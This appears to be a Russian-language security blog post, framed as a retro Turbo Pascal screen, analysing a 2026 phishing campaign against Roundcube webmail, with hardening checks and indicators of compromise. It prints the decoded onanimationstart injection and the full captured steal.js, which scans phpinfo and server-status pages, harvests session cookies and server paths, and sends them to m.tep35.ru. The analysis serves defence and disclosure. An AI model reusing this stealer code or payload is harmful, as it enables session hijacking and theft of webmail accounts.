РАЗБОР_ФИШИНГА_1.PAS
Ln 1, Col 1
{ ======================================================== }
{* РАЗБОР_ФИШИНГА_1.PAS - (c) 2026 *}
{ ======================================================== }

program ArticleViewer;

uses Crt, Dos;

const
  ArticleTitle = ' РАЗБОР_ФИШИНГА_1.PAS';
  ArticleDate = ' 09-07-2026';
  ArticleDesc = '';
  ImagePath = ' /img/borland_post_img3.png';
  TextPath = ' РАЗБОР_ФИШИНГА_1.PAS.TXT';

var
  F : Text;
  LineStr : string[160];
  Regs : registers;

{ -------------------------------------------------------- }
{* Процедура вывода графики *}
{ -------------------------------------------------------- }
procedure LoadAndDrawImage(FileName : string);
begin
  TextColor(10); { Green }
  WriteLn('[OK] Loading image: ' + FileName);
  { Имитация вызова прерывания BIOS для смены режима }
  Regs.AX := $0013; { 320x200x256 (VGA) }
  Intr($10, Regs);
  WriteLn('[OK] VGA Mode initialized.');
  WriteLn('[OK] Image rendered in memory.');
  { Пауза, чтобы увидеть "графику" }
  Delay(500);
  Regs.AX := $0003; { Возврат в текстовый режим }
  Intr($10, Regs);
end;

{ -------------------------------------------------------- }
{* Процедура вывода текста из файла *}
{ -------------------------------------------------------- }
procedure PrintArticle(FileName : string);
begin
  Assign(F, FileName);
  {$I-} Reset(F); {$I+}
  if IoResult <> 0 then begin
    WriteLn('[ERR] File not found: ' + FileName);
    Exit;
  end;
  
  TextColor(11); { Light Cyan }
  WriteLn('--- ' + ArticleTitle + ' (' + ArticleDate + ') ---');
  TextColor(10); { Green }
  WriteLn(ArticleDesc);
  WriteLn;
  TextColor(7); { Light Gray (основной текст) }
  
  while not Eof(F) do begin
    ReadLn(F, LineStr);
    WriteLn(LineStr);
  end;
  Close(F);
end;

{ -------------------------------------------------------- }
{* Основное тело программы *}
{ -------------------------------------------------------- }
begin
  ClrScr;
  TextColor(10);
  WriteLn('Turbo Pascal 7.0 (c) 1983-2026');
  WriteLn('System initialized. Checking data files...');
  Delay(300);

  LoadAndDrawImage(ImagePath);
  PrintArticle(TextPath);

  TextColor(14); { Yellow }
  WriteLn;
  WriteLn('[OK] End of file. Press any key to return to menu...');
  ReadKey;
end.
INS
NUM
HDD
386SX
4MB RAM
Compiling MICROBLOG.PAS...
Ready
F1Help
F2Save
F3Open
F4Clear
F5Zoom
F6Next
F7Trace
F8Step
F9Make
F10Menu
12:34:56 C:\BLOG> _ Free mem: 2,124,288 bytes
Compiling
MAIN.PAS
Compiling...
Lines: 0
Compile Status
Compile successful
Code: 0000 bytes
Data: 0000 bytes
Stack: 0000 bytes
OK
C:\BLOG\ARTICLES\> type current_post.md
Article Image

Как мы разобрали цепочку атаки: Roundcube, cookie stealer и нулевые детекты на VirusTotal

TL;DR: Разбираем свежую фишинговую кампанию июля 2026. Письмо «Документы на подпись» → обфусцированный JS → сканер инфраструктуры сервера → кража сессий других пользователей Roundcube. VirusTotal чист. Разбираем по шагам, даём рекомендации.


1. Первое письмо

Утро 8 июля 2026 года. В почтовый ящик падает письмо с темой «Документы на подпись!» от, казалось бы, реального отправителя e.m.ksenofontova@diacare-soft.ru. DKIM валиден, SPF проходит, SpamAssassin ставит -5.8 — всё чисто.

Открываем исходник в Thunderbird. В теле HTML видим подозрительный атрибут:

<body onanimationstart="eval(String.fromCharCode(118,97,114,32,115,61,100,111,99, ...))">

Декодируем массив — получаем:

var s = document.createElement('script');
s.src = 'https://m.tep35.ru/cookie/steal.js';
document.body.appendChild(s);

Письмо само по себе ничего не делает в почтовом клиенте (Thunderbird не исполняет JS), но стоит открыть его в веб-интерфейсе Roundcube — и код выполнится в контексте домена почтового сервера.


2. Добыча полезной нагрузки

wget https://m.tep35.ru/cookie/steal.js — файл скачивается без проблем. Ни геоблокировки, ни проверки User-Agent. Вот его код:

var d = ['', '/rc', '/mail', '/roundcube', '/webmail', '/wmail'],
    f = ['/i.php', '/info.php', '/phpinfo.php', '/php_info.php', '/test.php', '/p.php', '/phpinfo.php5'],
    p = [];

d.forEach(function(x) { f.forEach(function(y) { p.push(x + y); }); });
p.push('/server-status', '/status?full', '/?_task=illegal', '/?_task=debug');

p.forEach(function(u) {
  fetch(u, {credentials: 'include'})
    .then(r => r.text())
    .then(h => {
      var s = h.match(/roundcube_sessid[=:]\s*([a-zA-Z0-9_-]+)/i),
          a = h.match(/roundcube_sessauth[=:]\s*([a-zA-Z0-9_-]+)/i),
          root = h.match(/\/var\/www\/[^<\s"'\]\}\|\\]{3,}/i) || 
                 h.match(/\/home\/[^<\s"'\]\}\|\\]{3,}/i) || 
                 h.match(/\/srv\/[^<\s"'\]\}\|\\]{3,}/i) || 
                 h.match(/C:\\(?:xampp|wamp|inetpub|www)[^<\s"'\]\}\|\\]{3,}/i);

      if (s || a) {
        var c = (s ? 'roundcube_sessid=' + s[1] : '') + 
                (a ? '; roundcube_sessauth=' + a[1] : '');
        var info = site + '|' + u + '|' + c;
        if (root) info += '|ROOT:' + root[0];
        new Image().src = 'https://m.tep35.ru/cookie/ldx.php?c=' + encodeURIComponent(info);
      }
    });
});

3. Что делает этот скрипт

Это не простой стилер cookie текущего пользователя. Это сканер внутренней инфраструктуры почтового сервера.

Шаг 1. Формирование URL для сканирования

Скрипт составляет 35 путей вида:

  • /rc/phpinfo.php
  • /mail/server-status
  • /roundcube/i.php
  • /?_task=debug

и отправляет на каждый fetch() с credentials: 'include' — то есть с cookie текущего пользователя.

Шаг 2. Парсинг ответов

В теле ответа он ищет регулярками:

  • roundcube_sessid — ID сессии Roundcube
  • roundcube_sessauth — токен аутентификации

Эти данные могут утекать, если на сервере:

  • Открыт публичный доступ к phpinfo() — показывает переменные окружения и cookie недавних запросов
  • Включён Apache mod_status (/server-status) — показывает URL и заголовки последних запросов, включая cookie других пользователей
  • Оставлены debug-режимы

Шаг 3. Сбор путей к DocumentRoot

Регулярки ищут /var/www/..., /home/..., C:\xampp\... — чтобы злоумышленники понимали структуру сервера для дальнейших атак.

Шаг 4. Экфильтрация

new Image().src = 'https://m.tep35.ru/cookie/ldx.php?c=' + encodeURIComponent(info);

Все найденные сессии, токены и пути отправляются на сервер злоумышленников через запрос картинки (обходит CORS).


4. Почему это опаснее обычного стилера

Обычный стилер ворует сессию того, кто открыл письмо. Этот — делает горизонтальное перемещение по серверу:

  1. Жертва открывает письмо в Roundcube
  2. Скрипт сканирует сервер
  3. Находит сессии других пользователей (включая администраторов)
  4. Отправляет их злоумышленникам

Результат: скомпрометирован не один ящик, а все, чьи данные утекли через phpinfo() или /server-status.


5. VirusTotal: 0 детектов

Загружаем steal.js на VirusTotal — ноль обнаружений. Почему?

  • Кастомный код. Никаких известных сигнатур вредоносного ПО. Всё написано специально под эту атаку с использованием легитимных API (fetch, RegExp, Image)
  • Нет очевидно зловредных вызовов. Никаких eval, document.write, попыток эксплуатации уязвимостей браузера
  • Легитимная сетевая активность. Запросы к тому же домену, откуда загружен скрипт, — стандартное поведение для многих веб-приложений

Антивирусы не видят угрозу, потому что атака эксплуатирует не уязвимость браузера, а неправильную конфигурацию сервера.


6. Масштаб кампании

В тот же день приходит второе письмо с другого сервера:

Параметр Письмо №1 Письмо №2
Сервер mail.nefrosovet.ru mail.ams-chemical.ru
Скомпрометированный ящик e.m.ksenofontova@diacare-soft.ru e-com@ams-chemical.ru
Реальный IP 146.70.124.207 (M247) 138.199.34.135 (Datacamp)
Домен стилера m.tep35.ru secdev.space
Тема «Документы на подпись!» «Бухотчётс»
Message-ID ...@kali ...@kali
X-Mailer «Бухгалтерия» «Бухгалтерия»

Общие признаки:

  • Оба раза Message-ID содержит @kali — хостнейм дистрибутива Kali Linux
  • Оба раза helo=[127.0.1.1] — явная попытка скрыть реальный хост
  • Оба раза X-Mailer: Бухгалтерия — фейковый почтовый клиент
  • DKIM проходит, потому что отправка идёт через реальные скомпрометированные SMTP-аккаунты

Это одна группа атакующих с автоматизированным инструментарием.


7. Как проверить свой сервер Roundcube

Прямо сейчас проверьте, не отдаёт ли ваш сервер чувствительные данные:

Проверка phpinfo

curl -I https://ваш-домен/phpinfo.php
curl -I https://ваш-домен/info.php
curl -I https://ваш-домен/rc/phpinfo.php
curl -I https://ваш-домен/mail/phpinfo.php
curl -I https://ваш-домен/roundcube/phpinfo.php
curl -I https://ваш-домен/webmail/phpinfo.php

Если возвращается 200 OKнемедленно закройте доступ.

Проверка server-status

curl https://ваш-домен/server-status

Если видите список запросов с cookie и URL — немедленно отключите mod_status или ограничьте доступ по IP.

Поиск debug-режимов Roundcube

Проверьте конфигурацию Roundcube (config/config.inc.php):

$config['debug_level'] = 1; // должно быть 0 на продакшене
$config['enable_installer'] = false; // должно быть false

8. Что мы сделали

  • Отправили жалобы в SpamCop с техническими деталями
  • Уведомили владельцев скомпрометированных серверов (nefrosovet.ru, ams-chemical.ru)
  • Уведомили хостинг вредоносных доменов (Sprinthost, OnlineNIC)
  • Отправили abuse-жалобу провайдеру атакующего IP (Datacamp)

9. Выводы

  1. Проверяйте исходный код писем. Thunderbird и большинство десктопных клиентов не исполняют JS — смотреть исходники безопасно.
  2. Закрывайте служебные страницы. phpinfo(), server-status, debug-режимы должны быть недоступны извне.
  3. Не надейтесь только на VirusTotal. Кастомные угрозы, нацеленные на конкретную инфраструктуру, могут иметь нулевые детекты месяцами.
  4. Сообщайте о находках. Письмо администратору скомпрометированного сервера и провайдеру атакующего занимает 15 минут, но может спасти десятки организаций.
  5. Проверяйте свои серверы прямо сейчас. Если вы администрируете Roundcube — пробегитесь по чек-листу из раздела 7.

UPD

После публикации статьи злоумышленники могут сменить домены и IP. Индикаторы компрометации (IOC):

Домены:

  • m.tep35.ru
  • secdev.space

URL эксфильтрации:

  • https://m.tep35.ru/cookie/ldx.php
  • https://secdev.space/cookie/ldx.php (предположительно)

IP отправителей:

  • 146.70.124.207 (M247 Europe Infra)
  • 138.199.34.135 (Datacamp/Cdn77)

Характерные признаки писем:

  • Message-ID содержит @kali
  • X-Mailer: Бухгалтерия
  • helo=[127.0.1.1]
  • Тема: «Документы на подпись!», «Бухотчётс»

-=0x4e494b=-, инженер, программист ...


_ [EXECUTED SUCCESSFULLY]